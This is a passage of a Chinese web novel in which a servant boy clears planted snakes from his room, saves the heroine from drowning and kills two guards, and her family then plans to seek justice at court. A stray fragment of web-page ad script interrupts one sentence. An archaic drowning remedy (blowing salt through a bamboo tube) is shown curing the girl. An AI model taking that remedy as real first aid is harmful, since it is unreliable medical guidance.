谢昭凌卸了浑身的劲儿,没再管她,屈腿靠在床头,手背压在额上,闭上眼睛。 不管她来是做什么,只要不理她,等做完自己的事,就会离开了吧。 小姑娘蹑手蹑脚地走进来,一步一步,最终停在距少年很近的地方。 半晌没有动静。 嘶,嘶嘶—— 夜晚寂静无声,少年本就灵敏的耳朵更加警觉。 在乔姝月看不见的地方,少年手腕外转,一把反扣住缠绕上来的小青蛇。 他一手熟练地掐住蛇的七寸,另一手从枕下摸出防身的匕首,冷光在空中划过,手起刀落,蛇头被利落斩断。 乔姝月正站在榻前,犹豫要不要给他盖被子,便见榻上人忽然睁眼,瞬息间便是一副杀气腾腾的模样。 她眼前是一团黑雾,模模糊糊的瞧不真切。只感觉面前的黑影忽然一跃而起,没等她惊呼出声,那黑影便到了面前。 而后一双瘦弱却有力的手撑在她的腋下,她被人腾空架了起来。 一声“阿凌”险些脱口而出,被她死死咬住嘴唇憋回去,悬在空中的小腿下意识蹬了蹬,一脚踢在少年还未愈合的腿骨上。 少年似乎轻吸了口气,手上的动作却依旧轻柔,架着她脚步不停,将她“拎”远。 房门再次被人打开,谢昭凌弯身,把人轻轻放到门槛外面的地上。 直起腰时,低哑的声音从她耳畔飘过: “站这别动。” 他片刻即离,没有停留,门却没关。 月光落在屋内,乔姝月终于看清眼前之景,她瞳孔骤缩,手捂住嘴巴。 满地有数以十计的虫子在爬动,似乎还有一两条长长的东西,看形状像蛇…… 乔姝月脸色煞白,脚下像钉住,一动不敢动。 少年背对着她,动作迅敏果断,他将榻上唯一一条被当做被子的薄布抖开,里头瞬间又抖落出好几条毛毛虫。 若是他当真睡着,她要为他盖被,势必会碰到夹在布中的虫子。 下午树枝刮破了他的衣摆,他放下竹筐便回房换了件衣裳,等再回到小厨房想处理这些脏物时,筐中却不见虫蛇。 难怪不见了,原来是被人藏了起来,放到了他这里。 谢昭凌挥舞匕首,又准又狠,将那些恶心人的东西都扔进了布中。 黑暗之中,少年一双锐利的黑眸泛着冷厉的光,他屏息静气,目光寸寸巡视,扫过每个角落。 “呜……” 忽然一声压得极轻极低的声音从身后传来。 谢昭凌身子微僵,眼中闪过懊恼,现在这状况,显得他白日的所作所为皆成徒劳。 他将那盒恐吓之物换掉,为的就是不让这些腌臜物吓着小菩萨,结果…… 无需多想都知是谁塞到他房中的,那位公子哥想教训他,只怕想不到会连累到旁人。 谢昭凌在心底给乔誉记上了一笔,手上动作更快。只片刻,屋中里里外外便被他清扫干净,将最后半截落在外面的残尸踢进布中,他将薄布四个角提起,利落地扎了个结。 随手将“裹尸布”扔到墙角,他转身朝着乔姝月走去。 离得近了,小姑娘的抽搭声愈发明显,谢昭凌脚步微顿,明显迟疑起来。 他从未和女孩相处过,更加不擅长与人相交,此时此刻,他一时竟束手无策。 “都没了。” 少年不再靠近,半晌才干干巴巴地憋出来一句。 “呜呜。”乔姝月惨白着小脸,才刚挪动了下步子,门缝后忽然又钻出一条“漏网之蛇”。 那蛇大抵知道谁更好欺负,直直便朝乔姝月爬去,而乔姝月无知无觉,捏着帕子,眼泪汪汪地满眼都是眼前的少年。 谢昭凌目光才落到蛇身,瞬息间人便如离弦的箭,以极快的速度冲过去,蛇被一脚踢开,飞到院子里。 乔姝月只觉得身边一阵风刮过,速度快到不可思议。她惊诧不已,一时间连哽咽声都停了,蓦地回头。 少年用不算宽阔的后背对着她,指尖一道凌厉的冷光晃过,而后他用力一抛,手中已经分离的蛇头与蛇身都朝着东边飞了出去。 只听得唰唰两道轻响,落到了草丛里。 东边……是四哥的房间。 乔姝月愣神的功夫,少年折返回来,他脸色淡淡的,眼尾没什么精神地下垂,以乔姝月前世对他的了解,隐约能感觉到,他这是动了怒。 和与悦泉楼那帮人对峙时不同,那会他的排斥与攻击都出自本能,下意识的,并未真正将那些喽啰放在心上,而此刻却是认了真。 此刻与前世某些时刻的他有些相像。 乔姝月从少年的身上看到了熟悉的影子,眼眶微微泛红。 时机恰好,她泪花在眼中打转时,少年正好走到她身边。 这么怯懦的小菩萨,是怎么能有胆气,将欺凌他的壮汉推开的呢? 他只瞥她一眼,便越过她进了屋。径直走到角落,没有犹豫地捞起装满虫尸的被单,又出了门。 乔姝月眼中噙着泪,拎着小裙子追上去,一路追着他,到了四哥的门前。 她在几步远外停下,看着少年将被单往门口一扔,解开了结,把里头东西摊平晾在外头,扭头就往回走。 那姿态,竟叫人看出几分怨气来。 乔姝月:“……” 是……在报复吗? 显然,她并不是傻子,想也能想到那么多虫子和蛇为何无缘无故会出现在谢昭凌的房间里。总不会是他自己爱养吧,就算他想养,四哥应当也不会同意。 这是四哥的地盘,发生任何事都是四哥做主授意。所以今晚的种种意外,也都是四哥的意思。 乔姝月知道四哥不喜欢谢昭凌,却没想到排斥到这般地步。 既然这么不喜欢,那就还给她好了啊,还霸占着人做什么呢?等到明日,她再找四哥讨要一番,兴许能要到人。 她脑袋里胡思乱想时,谢昭凌已经折返到了身边,他没和方才一样擦肩而 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 过,而是停在她面前。 他年长几岁,即便因为常年食不果腹,身体也比她高上不少。此刻他微微低头,面无表情地盯着她。 乔姝月眨了眨湿润的眼,犯难地抠起手来。 一边是锦衣玉食的四哥,一边是饱受欺凌的小可怜。 对视半晌,乔姝月低下头,上前一步,牵上了少年的衣摆。 拉上还不算完,她仰起头,巴巴望着他,似是在说:看呀,我向着你呢。 谢昭凌浑身一僵,下意识想要抽身离开,可才刚一动,眼前就浮现出她双眼含泪的可怜模样,怎么都挥之不去。 于是这一步便如何都挪不开了。 他艰难隐忍,拼命克制将她挥开的冲动,试探地,小力地往回抽了下衣角。 没拽动。 谢昭凌低头,对上女孩执拗的目光,只觉得头疼。他浑身的肌肉收紧,整个人如一张拉紧的弓。 他最烦旁人的碰触,凡是私自对他动手动脚的人,无一有好下场,哪怕当下他不能做些什么,过后都总会清算报复。 就像悦泉楼那几位,在离开悦泉楼后,他曾悄悄潜回去过,得知那几个人都无声无息地消失后,他也不觉得奇怪,只恨自己没能把这一笔账清算干净。 眼前这位,他又该如何应对? 因太过隐忍,少年下巴微微颤抖,手上拉拽的力道随之加深。 小姑娘也同他较上劲,两只手都抓上来,寸步不让。 再用力些,他下午新换的衣裳又要被撕坏了。 谢昭凌:“……” 罢了。 他扭回头,提步就走。 “哎……” 一个短促的音节猝不及防地冒出,乔姝月拉着他衣服,被带着小跑起来。 走回西耳房的小门前,乔姝月自觉松开了手。 谢昭凌脚步一顿,垂眸看她。 小姑娘别别扭扭地,黑瞳里的目光不安地躲闪,她小声道:“不敢进了。” 虽然都被他处理完,但她还是后怕。 她最怕的就是虫子,可以说是有它没她,看到虫就挪不动道。 即便前世被关时,牢房里总有各种虫鼠,她也难以平静地与之共存。 阿娘在时,会将她护在怀中,捂住她的眼睛。阿娘过世后,只能靠她自己。 缩在墙角,捂着自己的眼睛,即便感受到老鼠从自己的面前走过,她也不敢睁眼。 被陛下小心呵护三载,她的胆子早就又变了回去,如今别说那屋里有黄金,就算是陛下本人在屋里冲她招手,她也不敢再踏入。 反正……反正有什么话在门口说也是一样的。 谢昭凌没管她,今夜折腾得太晚,他有些累,需要早些休息,明日还有许多活等着他。 他一脚踏进门槛,衣摆上的下坠感又回来了。 他心底莫名生出一种“果然如此”的感觉,她果然不会轻易放过他。 谢昭凌收回了脚,下一刻掌心被塞进来一个柔软顺滑的东西。 他微怔,低头看过去。 是那个被他扔掉的荷包。 23-30 第23章 【23】 柳步亭静静望着河中间挣扎的人。 没有他的施救,她又能支撑到几时? 瞧瞧,即便即将沉没在水中,起伏之时,她望向他的目光,亦满含怨恨与憎恶。 从出生时起,柳步亭便享受着殷实的家世背景所带来的特权,能随意掌控一个人的性命,也能轻而易举全身而退。 当下这一刻,看着乔姝月挣扎朝着岸边游,柳步亭察觉到心底有一种莫名的情绪在燃烧。 他忽然觉得,看一只毫无反击之力的蝼蚁顺从自己,已经没什么新鲜,他竟希望看到乔姝月能靠着一己之力回到他面前,而后,用力地给他一巴掌。 她会打出这一巴掌吗? 柳步亭微微勾起唇,当然,他不会让她打到,他会在她想法设法重拾生机时,再次将人拢在手中。 从希望之峰再度打回绝望深渊,那滋味一定美味极了。光是一味地碾压又有什么趣儿,非要她这样的性子才好玩。 柳步亭目光久久落在河中,看着女孩浮上浮下,他心底翻滚的情绪渐渐平息。 早知如此,又何必当初? 很快了,那个望着他眼底尽是胆怯,却又因为他的家世而不敢反抗、只能顺从讨好的女孩就快要回来了。 河面中央的女孩终于力竭,眼底的光逐渐熄灭,手臂无力垂下,往河水最深处沉去。 玉竹被一侍卫按着,她奋力抵抗,哭哑了声音哀求:“柳公子,求你放过我们姑娘吧——” 柳步亭自得笑了笑,他正要做个让手下去救人的指令,“放心,她不会……” 话音未完,余光一道黑影倏地闪过,柳步亭脸色骤变。 扑通一声—— 有人毫不犹豫地跳进了河中。 柳步亭蓦地拧眉,忙向前几步,脚踩在潮湿润滑的泥土上,等看清眼前一幕,目眦欲裂,心中再度燃起怒火。 变故发生得突然,玉竹也忘了哭喊,愣愣地望着。 少年如一条飞鱼,入水后几息间没了踪影。 只见水面平息只片刻,而后乔姝月便被他托了起来。 玉竹顿时热泪盈眶,挣扎起来,尖叫:“姑娘!!” 眼见态势逆转,其他被钳制住的人也顿时开始激烈反抗。 “来人了——!!救人啊!!” 魏二碍于柳家权势不敢冒头,但看清是自家主子,亦不可能见死不救,于是以墙掩体,缩在后面,扯着嗓子开始嚎,终于把这边动静闹大,有人循着声音陆续往这边来了。 柳家家丁开始迟疑,只有柳步亭置若罔闻,他目光阴森,直勾勾地望着河中央那两个人。 确切地讲,他只看到乔姝月一人,而那人闭着气在水下托着她游。 是谁,到底是谁又坏了他的好事! 柳步亭身边护卫凑上去,不安道:“公子,不可闹大,咱们得走了。” 二皇子选妃在即,他们被家中长辈反复规劝要收敛心性,低调一阵。 柳步亭心有不甘,纵然没被愤怒冲昏头脑,理智犹在,可他如何都不能咽下这口气。 上回在乔家他便被一个下等奴狠狠搓了脸面,今日再逃,那他威严何存! 上次算了,这次总不能也算了。 乔家姑娘他奈何不得,这不打紧,他还有的是机会。只是方才跳下去的人一身粗麻布衣,不知又是哪家的小厮,这般爱打抱不平,当真是世间罕有的大善人。他不是爱救人,那便叫他永远地在水里待着吧。 柳步亭眼中暴戾难掩,“弄死他。” 说罢一挥衣袖,转身走了。 没了钳制的乔家家仆顿时一窝蜂都奔向河边。 两个柳家护卫悄无声息从另一边入水,朝着奋力往岸边游的少年划去。 玉竹整个人趴在地上,多半截身子几乎探到水面上,她朝着不远处伸手,“姑娘——!!” 谢昭凌缓缓消耗着胸腔中的空气,沉着冷静地托举着人,他估算好了距离,用这个速度平稳地行进,他与她都可以安全抵达。 可在水下隐约看到岸边人影时,忽然余光瞥见两道黑影朝他靠近。那两个人水性极佳,没给人太多反应的时间便逼到近前。 若是只他一人,想要避开是易如反掌。可他带着个小姑娘,来不及。 谢昭凌尚不明确这二人究竟是冲着他来的,还是冲着小菩萨来的,他不敢赌。 他手下用力,一把将乔姝月推出去好远,而他自己被力道冲击得后退了一些,正要加速往前游时,膝盖处忽然传来一阵不可忽视的剧痛。 他面色不变,动作向前,但多少影响了速度。 谢昭凌垂下眸,瞬息间有了决断。 他不再追赶,目送着岸边的手终于抓住了乔姝月,他果断调转方向,迎面朝着那二人而去。 须臾间,便挡到那两人面前。 若是冲他来的,那再好不过。 若是冲小菩萨来的,那也要从他的尸身上踏过去再说。 他欠小菩萨的,理应如此。 那二人似是没想到会和他打照面,只一个错神的功夫,便觉眼前亮光一闪。护卫被刺得双目一痛,眼前发黑,等再看清,少年不知从那里拔出一把匕首,明晃晃地朝他们而来。 他的一招一式皆无章法,都是逃亡的这些年中在争斗中厮杀磨炼出来的。 生死攸关之际,杀招格外凌厉干脆。 一击毙命,利落果决。 不等人惊慌呼喊,颈间一痛,而后一股热流奔涌而出。意识消散前,看到少年转回身,朝着岸边而去…… 在水下耽搁了太久,加之腿上的伤,谢昭凌逐渐也觉得勉强。 小姑娘已经不在水里,应是被救到了岸上,不知那嚣张的公子哥还在不在。 岸上那些人,应当不至于无能到护不住他们的主子吧。 腿部的痛楚愈发强烈,谢昭凌咬紧牙根,奋力向前。 他伤着的那条腿艰难用力,人往上浮,在即将触碰到水面时,一阵撕心裂肺的痛从关节处传来。 “唔。” 他呼吸乱了一分,呛了口水。 只一步之遥,向生的本能驱使他迅速作出判断。 他抬手,匕首用力插进岸边的石壁间隙中,下坠的趋势得到片刻缓解,而后双臂用力,攀上岸边。 他撑在河边,抬起头,朝远处望去。 李护卫背着小姑娘,跑得飞快,而身后跟着两名婢女,背影仓惶。 视野里那群人的身形渐行渐远,趋于模糊。 少年终于松了口气,身体脱力地倒在结实的泥土地上,抹了一把脸上的水,仰着脸,望着湛蓝的天。 脑海里忽然又出现过去的画面—— “怎么就叫他给跑了?!”乡绅气急败坏,给了近侍一个巴掌,怒道,“昨儿才给巫医大人送过信说人找到了,若是没将人带回去,这笔大生意就黄了!” “给我找!掘地三尺也要将他挖出来!我就不信他能上天!” 瓢泼大雨急急落下,编织成一片雨帘,世间白茫茫一片,运菜的牛车与恶之爪牙们擦肩而过。 嘴里怒骂的人们匆匆奔过,菜筐中的少年矮了矮身,收回了透过竹条缝隙向外看的目光。 他垂眸看向自己那双正剧痛的腿。 从二楼跳下来,大概是断了吧。 牛车摇摇晃晃出了城,少年麻木的脸上终于浮现出淡淡的笑意。 “……” “喂,喂!”魏二慌了神,指使他那两条不听话的双腿朝河边走去,刚要叫他,却发现还不知道他叫什么,于是只能道,“走后门的!你还活着呢吗?” 离得近了,魏二才看到少年睁着眼睛,他舒了口气,面色复杂,“你还怪有胆气的。” 原先瞧不上他,是因为心里觉得不公,他嫉妒他。大家同样都是下等出身,为何待遇天差地别。 方才那事过后,魏二心里那股嫉恨便淡了许多,但依旧有些羡慕。 “这下你要飞黄腾达了,救了咱家姑娘,莫说是几位公子,夫人都得对你另眼相看。” 木兰院里只李成一个护卫,平日里可把他们这帮人嫉妒坏了,月姑娘院里的差事是一等一的好差事,隔三差五便有赏赐不说,还能在夫人面前能留下印象。 同一等的家仆,木兰院的就是比二公子四公子院里的地位要高上一些。 月姑娘温柔可爱,对下人们也和善友好,大家挤破头都想去她身边当差,可惜木兰院已经有好几年不进新人了,尤其是护卫一职,自从月姑娘小时候被几个护卫吓哭以后,夫人再也不提选新护卫的事。 魏二瞥向少年。 只见人喘匀气,便坐了起来。抬手往后捋了一把头发,露出一张好看到锋利的脸来。 魏二酸溜溜地想,这样貌必定不会将姑娘吓哭。 少年将匕首随手戳向地面,撑了一下,站起身来。 魏二视线低垂,瞧见那刀上未擦净的血,不禁打了个哆嗦。这般的好身手、迅速的反应,也是他比不了的。 男人往往就是这样,热衷于暴力,崇拜于绝对的实力。前一刻还被他瞧不起的人,下一刻便对其心服口服。 谢昭凌甩了甩头上的水,一言不发抬步便走。 魏二害怕,自不敢独留,他“哎”了一声,赶忙跟上,走出去几步,鬼使神差回头。 河水中倒映着夕阳,金黄的光洒在波光粼粼的水面上,盖住了不断漾开的一缕缕鲜红。 他也不必再问明明看着两个人悄悄下了水,为何此刻没露头。 问得太多,会没命赚钱。 “走后——咳,兄台,还不知兄台贵姓?” 魏二见人走路艰难,主动去扶,结果还没碰到,便被人一巴掌拍开。 魏二感受到已经没了知觉的手,也不恼,“你看,咱们好歹共事几天,我还把谋生的路子共享给你,对你还算可以吧?” “兄台若是飞黄腾达,别忘了带上兄弟啊。” 谁是你兄弟。 谢昭凌冷冷看他一眼,分享赚钱的路子还不是怕被杀吗,又不是心甘情愿帮他。 “……我姓谢。” 魏二呲着牙,笑着拱手,“原来是谢兄,久仰久仰。” 谢昭凌:“……” 他实在很难同热情的人交流。 “你比我大,”少年黑漆漆的眸子无声望过去,“大很多。” “唷,咱们这边不按年纪论,我看你这资质,别说是叫你一声兄,叫爹都不亏。” 谢昭凌:“……” 谢昭凌不再言语,拖着伤腿,慢慢往回走。 也不知小菩萨现下如何。 乔家那边彻底乱了。 从李护卫背着不省人事的乔姝月回府那一刻起,乔府便如同炸开的锅。 噩耗在一盏茶的时间内,传遍了乔府。 吴大夫拎着药箱,上气不接下气地赶到木兰院,还未踏进院子,便被守在外头的二公子乔良给一把拉了进去。 吴大夫毫无防备地一踉跄,跑掉了一只鞋。 乔良哭天抢地,“吴大夫,快救救我妹妹!” 乔誉捡起吴大夫的鞋,默默跟了过去。 院里聚了不少婢女,屋里更是叫各院的主子围得水泄不通。 眼下的场面同端午之前那次一样,甚至比之更严重。 因为上次李护卫将人捞出时,乔姝月尚有呼吸,只是伤寒高热。而这次因为柳步亭的阻拦,耽误了更多的时间,乔姝月浮出水面时已经气息微弱,几近于无了。 吴大夫面色冷峻,只一看便知形势严峻。 他大手一挥,命令道:“都散开些,围在这空气不通畅。” 众人慌乱地让出一条通道,褚氏哭成了泪人,大儿媳陆氏扶着她,亦是面色悲戚。 人若溺水以致闭气,不及时将吸入肺腑中的水导出,便极有可能会因此而亡。 吴大夫果断道:“我要用《千金要方》中的伏甑法治落水,速去准备。” 他按照医书中记载的吩咐人去准备,院中的婢女们顷刻间都散开,各自去忙。 片刻功夫,一口甑锅便抬到院里。乔良将姝月抱出来,令其伏于甑上,头部低垂。 书中记载——炒盐二寸匕,纳竹管中,吹下孔中,即当吐水……注① 吴大夫在心中默念,全神贯注,开始救治。 褚氏在一旁看着女儿苍白的脸,捂着唇哭泣,若无儿媳陆氏在旁边撑着,她怕是站都站不住。 所有人都聚精会神,提着一颗心望着院中央。 好半晌,就在吴大夫愈发心灰意冷时,乔姝月终于动了! “唔……咳!” “咳,咳咳咳——” 一声起,紧接着便是一连串的咳嗽。一口一口的河水从乔姝月嘴里吐出来,吴大夫终于展露了笑颜。 他抬手擦拭着额角的汗,才发现自己的手一直在抖。 “月儿——!!” 褚氏哭着就要扑上去,她步子太急,险些栽倒,还是乔良眼疾手快,将人一把搀住。 乔良眼睛湿湿的,哽咽了声:“母亲这下可安心了。” 吴大夫助她将胸腔中的水排出后,又让人将姝月抱了回去。 “娘,阿娘……” 忽然一道微弱的呼唤声如小猫儿叫一样响起。 凝重的气氛骤然松散,如一根拉紧到极致后突然崩断的弦。 乔誉藏身在众人之后,身子晃了晃,脚步不由得后退一步。 “公子!”俞升赶忙将人扶住。 乔誉抬手捏了捏鼻梁,手再放下时,微红的眼眶中含着森森冷意,“去查。” 俞升悄无声息地离开,乔誉站在人后又看了半晌,最终也离去了。 乔良还赖在木兰院不肯走,挺高的汉子捂着脸低声抽泣,心中止不住地后怕。 即便呛的水排出,但依旧不可放松警惕。 吴大夫神色严肃,“河水不净,呛至胸肺中本就容易致人高烧,更何况月姑娘近来低热反复,身体欠佳,比寻常人还要危险几分。” 褚氏一听便又急了,“那怎么——” 陆氏挽着婆母的手臂,低声安抚,“母亲,月儿平日行善积德,老天有眼,定不会将她就此收去,吴大夫已将人救回,必然还有医治的办法。” 陆氏说完,红着眼眶祈求地望了过去。 “老夫定会尽力而为,夫人与少夫人尽可放心。”吴大夫说,“直到月姑娘脱离险境,老夫再离开。” 吴大夫并非乔府私用医士,人家自己也有医馆要看顾,此举全是看在两家世交的份上。 褚氏处在悲痛中,无法顾及礼数周全,倒是大儿媳陆氏对吴大夫千恩万谢,吩咐府上人给吴大夫收拾出一间客房。 吴大夫给姝月号脉施针,又开了药叫婢女伺候着服下。等到病情稍稍稳定,木兰院的动静才终于静了下来。 魏二和谢昭凌回到乔府时,便听内院外院全都在议论。 魏二心底莫名涌起深知内情的自豪感来,他瞥向身侧,见少年仍面不改色,一副四平八稳的模样,顿时对对方又生出两分佩服来。 瞧瞧,不愧是能干大事的人。闷不吭声的,真能沉得住性子。眼瞅着要升官发财,他还这般从容镇定,确实是他魏二比不得的。 还好未曾与他交恶太深,魏二咧嘴笑着,真真是应了那句,一人得道鸡犬升天,若能从这少年指头缝里接到一星半点的赏赐,是鸡是犬他都当得。 “真是凶险,听说人一度没了呼吸?” “可不是,那小脸白得跟纸似得,把人都吓坏了。” “好端端地,怎会如此?我记得端午那次落水也没这般严重啊?” “嘘小点声,我瞧着几位公子的脸色都难看得很,二公子怒气冲冲要往外去,被四公子拦下,大公子去找了老爷,想来这事颇有蹊跷……” “万幸人救过来了,吴大夫妙手回春,这下咱家可欠人家一个大人情。” 谢昭凌是走回来的,腿脚不便,走回府上时天已经擦黑。 听到人说小菩萨已经醒过来,他眉眼间的冷色终于缓和。 魏二没再跟着他往内院走,而是停在二门处,眉飞色舞地同众人炫耀起来—— “当时啊,我可在现场呢!我跟你们说……” 谢昭凌没放在心上,他一瘸一拐朝着院子走。 这一路上与不少人擦肩,每个人讨论的都是这一件事。 “咱姑娘今年也不知和哪路神仙犯冲,这才六月,人都大病好几场了。” “这回真真凶险,听木兰院的人说,药都喂不进去!” 越靠近内宅,婢女们所言更加详实而私密。 谢昭凌抿了抿唇,放慢步子,悄悄竖起耳朵。 他余光瞥见两个婢女正在擦游廊的扶手,只听一人道: “刚听木兰院的人说,这回是姑娘撞上了不该看见的!” “是惹着什么人了?” “听闻不知是哪家公子在教训小童,正巧被咱们姑娘看个正着!” 另一人显然明白过来是何意,愤愤道:“定是咱们姑娘仗义执言,然后被人给报复了!” “咱们姑娘自小便是菩萨心肠,别说有人欺凌弱小,便是个小猫小狗被虐待,她都不忍,定要去救出来不可。真是人善被人欺,哪有心善之人反遭难,逞凶之人逍遥的道理!” “可咱们府上只老爷和大公子入朝为官,到底不如那些世家底气硬,可怜了姑娘……” “……” 谢昭凌从她们身边走过。 其中一个婢女的话深深落进他心里,叫他不由得想起刚到乔府时,乔誉警告他的一句话: “月儿救下你是心善,她慈悲心肠,见不得欺凌弱小,今日哪怕是只狗,她也不会置之不理。” 谢昭凌眸光晃动,抿紧唇,步子逐渐加快。 如金般的晚霞自天间落下,谢昭凌跨坐在西耳房的房脊,心不在焉地补着瓦顶。 视野里忽然闯进一个熟悉的身影,他视线微垂。 只见俞升绷着张脸,脚步匆匆打院中走过,才到正中,便一眼瞧见了房顶上的少年,俞升眉头一挑,瞪了少年一眼。 停下脚步的功夫,不知从哪跑过来一小厮。 “俞哥,”那人拎来一桶,“鱼来了,要放到哪儿去?” 俞升瞥了一眼水里活蹦乱跳的鱼,这本来是四公子要送给月姑娘讨她欢心的,眼下木兰院正乱着,送去不合时宜。 “先养着吧,”他道,“魏二人呢?” “不知,放下就走了,瞧着挺高兴。” 府上才出了事,魏二有什么事可高兴的?俞升心中颇有微词,想起来魏二是和谢昭凌一起去捞的,看着房顶上的人,心里的不满有了发泄的地方。 俞升嗤了声,不屑地道:“这鱼有几条是你捞的?看你这幅样子,别都是人家魏二捞的吧。” 谢昭凌幽幽望着他,不言语。 俞升又道:“谁准你修房了?公子手里本不宽裕,眼下院里多了口人,恨不能更省吃俭用,银子要用在刀刃上,可不是随便用在这些无关紧要的事上。” 谢昭凌失去耐性,淡淡一瞥便收回视线,捞起一块新瓦,贴放在缝隙上。 俞升顿时更恼,这小子半天打不出一个屁声,比和他对吵还要让人恼火。 他现在横看竖看,左看右看,怎么看这小子都不顺眼,看着他便想起来他家姑娘还病着。 他家姑娘执意救那小童,因此得罪了柳家的小少爷,才有后面的种种祸事。 当初姑娘在救这小子时更是一意孤行,那可是悦泉楼,听说背后不是皇家就是权贵,从那样一个地方带人出来,还不知暗地里埋了多少危机没爆发。 姑娘随手救一良家的小童都受这么多苦,这小子还是罪奴一个,不知会给姑娘带了什么大麻烦。 姑娘常常规劝底下的人,说与人为善,终会回馈己身。姑娘倒是善良,可这回馈的都是些什么啊! 就说这臭小子,他同姑娘道过一声谢吗?!他做过什么回馈姑娘?他连名字都不肯告诉别人! “不过是只猫儿狗儿,”俞升睨着房顶上的人,咬着牙道,“真是替姑娘不值。” 这话也不知是在说今日被救的那小童,还是别的什么人。 谢昭凌将俞升的每个字都听进了耳中,面色也愈发地淡。 听了太多这样的说辞,心里也开始计较,小菩萨究竟为什么将他带回来。 他当真与今日害她受苦的那小童一样吗? 就像街头随便一只流浪的猫狗。 俞升也越想越难受,摸向腰间挂着的弹弓,架上一石子,朝房上瞄准。 咻—— 啪!! 少年利落抬手,将突然袭来的攻击截停。 俞升不可置信地瞪大了眼睛,他明明没往这边看,却能准确地抓住空中疾速飞行的石头,这该是何等眼力与反应?! 没等俞升多思,少年反手一抛,又将那石子扔回俞升脚下。 一阵疾风驶过,俞升下意识往后跳了一步。 石子正好落在他原本站的地方。 俞升:“……” 该死的,竟被他给吓到了。 他愤愤抬头,却见少年不再是那副平静如水的模样,他眼底充斥着戾气,只轻飘飘的一瞥,便叫人心底不由自主地生起寒意。 这倒是和少年未进府时的模样重合,虽狼狈,但一身血气。 俞升隐约在少年身后看到了一只桀骜凶狠的灰狼,正昂着下颌,俯视睥睨。 他被那咄咄逼人的目光迫得忍不住低头,在看到地上那颗石子时,脸色顿时铁青。 他一脚踢开石子,暗骂了声,嘟囔着:“运气罢了。” 扭头进屋。 俞升将打听来的消息告诉乔誉,主院这边,褚氏也分出精力了解来龙去脉。 当时刘妈妈和紫棉都不在,唯有玉竹一个心腹在场,她如今想想,还觉得后怕,想起柳步亭望向她家姑娘那神态,直叫人毛骨悚然。 她哽咽着,一五一十将下午发生的事道来,褚氏听后怒不可遏,手中茶盅狠狠掷到地上,摔了个粉碎。 她气得发抖,“柳家实在欺人太甚,迫害我儿至此,决不能善罢甘休!” 儿媳陆氏闻言也是眉头紧拧,她轻抚乔母的后背,道:“那柳家大夫人溺爱独子是西京城里出了名的,如今又管着家中事务,全她一人说了算,无怪乎柳家小少爷会被她惯成这般地步,真乃有其母必有其子。” 褚氏回忆起柳大夫人登门那日嚣张的样子,不住冷笑:“她娘俩仗着救驾有功,不少欺凌弱小,她上头又没有老夫人压着,这些年行事是愈发不像话了。” 十二年前的一次围猎中,当今皇帝遇到了刺客,柳家大爷挡了一箭后,又将皇帝护在身下,背后身中刺客数刀,最后被乱刀砍死,禁军赶到时,人已咽了气。 柳大爷身死时,大夫人正身怀有孕,听闻噩耗,受惊早产生下柳步亭。 这十二年间,皇帝因为愧疚对这对母子无底线地纵容,谁都知道这对母子说不得,惹不得。毕竟就算闹到御前,皇帝也只会和稀泥,不然就是向着柳家母子,无论如何都不会让柳家吃亏。 柳步亭嚣张跋扈,受家族庇荫,这两年更是目中无人,恣意妄为。 “老夫人去世得早,”陆氏道,“柳司空又不理家务事,自然是大夫人想如何便如何。” 更不妙的是宫里还有个柳家的女儿在做贵妃,二皇子更是已故的柳家大姑娘所出,很受皇帝宠爱。 陆氏眼光长远,不止能看到后宅这些事,她见着褚氏怒火难消,犹豫半晌,才道: “母亲,儿媳担心此事不单单是小孩子之间的争端。” 褚氏目光微凝,蓦地转头看向陆氏。 陆氏道:“夫君说,近来城中很不安宁,虽然他未明说,但儿媳觉得他查到了一些蛛丝马迹,矛头直指柳家。公公是御史,在朝堂上才得罪过柳司空,便被柳家与二皇子的拥趸竖成靶子攻击。小妹这一遭,是否……” 她咬了下唇,眼眶微红,颤着声音:“是家里连累了她?” 若是如此,那便是最糟糕的境况。朝堂上的争斗向来是不死不休的,一天站在对立面,便一天不会停止攻击。 柳家权势滔天,又有皇子撑腰,他们能对一个小女孩下手,是一丁点人性与底线都没有。 凡事一旦开了头,有一便有二,再三再四,何时又是个头呢。 褚氏心乱如麻,用帕子拭了拭眼泪,悲戚道:“难不成我儿便要将这委屈给吞下了吗?连口气都不能替她出了,真是枉为人母。” 陆氏赶忙又安抚道:“儿媳是胡思乱想,乱说来着,常道是居安思危,多多警惕着不算坏事。再说今日小妹之祸,更多的像是柳步亭自己的意思,听二弟说先前他来咱家,在小妹那儿吃了亏,今日又撞见他逞凶,这才新账旧账加在一起,报复了小妹。” 乔良一直在旁边默不作声地听着,听闻此处,实在没忍住插嘴:“那大嫂以为,这事就这么算了?!” 乔良的拳头攥得极硬,仿佛一抬手就能捣碎一块石头。 陆氏那张面庞始终温婉秀丽,她抬眼看向乔良时,仍能让人感受到如沐春风,她微微一笑,开口道:“自然不能就这么算了,要告状,还要告到御前。” 乔良疑惑:“嫂嫂方才不是说,陛下会向着柳家?” 陆氏莞尔一笑,眼底却透着股冷意,“那从这回起,便不再是了。” 乔良一头雾水地出了门,直到睡下,都没思索出陆氏的深意。 待到转日,大哥将他叫到院中说了些话,他这才醒悟过来大嫂的话意味着什么。 陛下有意栽培太子,却碍于朝堂上的反对声迟迟没行动。 二皇子一家独大的局面要打破,契机便会是乔家的这一状。 作为太子党的乔家,自此也算正式与柳家划清界限。 木兰院一宿灯火通明,后半夜乔姝月又起烧,一度失去意识,胡言乱语。褚氏匆匆赶到,陪了她大半宿,等到天亮温度退些,才回去歇息。 又过了一日,等到二皇子选妃这日,乔姝月不再发烧,吴大夫的脸上终于露出笑意。 “最凶险的时候算是过了,接下来好生将养就是。” 天还未亮,褚氏便候在榻前,听到这话,眼底又是一热。 陆氏见状赶忙劝慰:“母亲要撑住自己,今日进宫还有一场硬仗要打。” 褚氏望着女儿憔悴的那张脸,眼中的心疼尽数化为坚定决绝,“今日若不给月儿讨个公道,也不配被她称一声娘。” 陆氏温柔地笑笑,目光在众人面前扫过,落在唯一的男子身上。 “你是月儿的护卫?”陆氏温声道,“我记得是你将月儿背回来的。” 褚氏的目光顿时也落了去。 光顾着询问月儿的病情以及事情缘由,倒是把赏赐这事忘了。 褚氏御下有方,全靠她赏罚分明这一点。这次女儿出事,倒叫她自乱阵脚,若无陆氏在旁帮衬,她只怕要忽略了许多事。 李成浑身僵硬,忙跪倒在地,“夫人,少夫人,是小人将姑娘背回来的。” 